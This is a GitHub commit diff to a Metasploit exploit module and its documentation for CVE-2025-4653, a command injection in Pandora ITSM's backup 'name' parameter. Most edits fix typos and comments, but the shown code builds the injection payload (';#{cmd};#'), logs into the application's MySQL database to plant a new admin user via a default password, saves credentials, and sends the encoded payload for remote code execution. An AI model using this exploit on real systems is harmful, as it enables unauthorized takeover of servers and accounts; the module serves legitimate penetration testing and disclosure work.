Skip to content

Commit 4b52708

Browse files
committed
update module + documentation based on review comments
1 parent 58704e9 commit 4b52708

File tree

2 files changed

+26
-18
lines changed

2 files changed

+26
-18
lines changed

documentation/modules/exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
## Vulnerable Application
22
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
33
and customer service teams, aligned with ITIL processes.
4-
This module exploits an command injection vulnerability in the `name` backup setting at the
4+
This module exploits a command injection vulnerability in the `name` backup setting at the
55
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
6-
malcious payload injected at the `name` parameter.
7-
You need have admin access at the Pandora ITSM Web application in order to execute this RCE.
6+
malicious payload injected at the `name` parameter.
7+
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
88
This access can be achieved by knowing the admin credentials to access the web application or
99
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
1010
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the

modules/exploits/linux/http/pandora_itsm_auth_rce_cve_2025_4653.rb

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -25,10 +25,10 @@ def initialize(info = {})
2525
'Description' => %q{
2626
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
2727
and customer service teams, aligned with ITIL processes.
28-
This module exploits an command injection vulnerability in the `name` backup setting at the
28+
This module exploits a command injection vulnerability in the `name` backup setting at the
2929
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
30-
malcious payload injected at the `name` parameter.
31-
You need have admin access at the Pandora ITSM Web application in order to execute this RCE.
30+
malicious payload injected at the `name` parameter.
31+
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
3232
This access can be achieved by knowing the admin credentials to access the web application or
3333
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
3434
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
@@ -91,15 +91,20 @@ def initialize(info = {})
9191
end
9292

9393
# MySQL login
94-
# returns true if successful else false
94+
# @param [String] host
95+
# @param [String] user
96+
# @param [String] password
97+
# @param [String] db
98+
# @param [String] port
99+
# @return [TrueClass|FalseClass] true if login successful, else false
95100
def mysql_login(host, user, password, db, port)
96101
begin
97102
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
98103
rescue Errno::ECONNREFUSED
99-
print_error('Connection refused')
104+
print_error('MySQL connection refused')
100105
return false
101106
rescue ::Rex::Proto::MySQL::Client::ClientError
102-
print_error('Connection timedout')
107+
print_error('MySQL connection timedout')
103108
return false
104109
rescue Errno::ETIMEDOUT
105110
print_error('Operation timedout')
@@ -108,7 +113,7 @@ def mysql_login(host, user, password, db, port)
108113
print_error('Unable to login from this host due to policy')
109114
return false
110115
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
111-
print_error('Access denied')
116+
print_error('MySQL Access denied')
112117
return false
113118
rescue StandardError => e
114119
print_error("Unknown error: #{e.message}")
@@ -118,7 +123,8 @@ def mysql_login(host, user, password, db, port)
118123
end
119124

120125
# MySQL query
121-
# returns query result if successful (can be nil) else returns false
126+
# @param [String] sql
127+
# @return [query|nil|FalseClass] if sql query successful (can be nil), else false
122128
def mysql_query(sql)
123129
begin
124130
res = mysql_client.query(sql)
@@ -136,7 +142,9 @@ def mysql_query(sql)
136142
end
137143

138144
# login at the Pandora ITSM web application
139-
# return true if login successful else false
145+
# @param [String] name
146+
# @param [String] pwd
147+
# @return [TrueClass|FalseClass] true if login successful, else false
140148
def pandoraitsm_login(name, pwd)
141149
res = send_request_cgi!({
142150
'method' => 'POST',
@@ -155,8 +163,8 @@ def pandoraitsm_login(name, pwd)
155163
end
156164

157165
# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
158-
def execute_command(cmd, _opts = {})
159-
@rce_payload = ";#{cmd};"
166+
def execute_payload(cmd)
167+
@rce_payload = ";#{cmd};#"
160168
vprint_status("RCE payload: #{@rce_payload}")
161169
@clean_payload = true
162170
send_request_cgi({
@@ -232,7 +240,7 @@ def clean_rce_payload(payload)
232240
success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
233241
end
234242
if success
235-
print_good('Payload entries successful removed from backup list.')
243+
print_good('Payload entries successfully removed from backup list.')
236244
else
237245
print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
238246
end
@@ -319,13 +327,13 @@ def exploit
319327
print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
320328
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
321329
end
322-
print_status('Succesfully authenticated at the Pandora ITSM Web application.')
330+
print_status('Successfully authenticated at the Pandora ITSM Web application.')
323331

324332
# storing credentials at the msf database
325-
print_status('Saving admin credentials at the msf database.')
333+
print_status('Saving admin credentials to the msf database.')
326334
store_valid_credential(user: username, private: password)
327335

328336
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
329-
execute_command(payload.encoded)
337+
execute_payload(payload.encoded)
330338
end
331339
end

0 commit comments

Comments
 (0)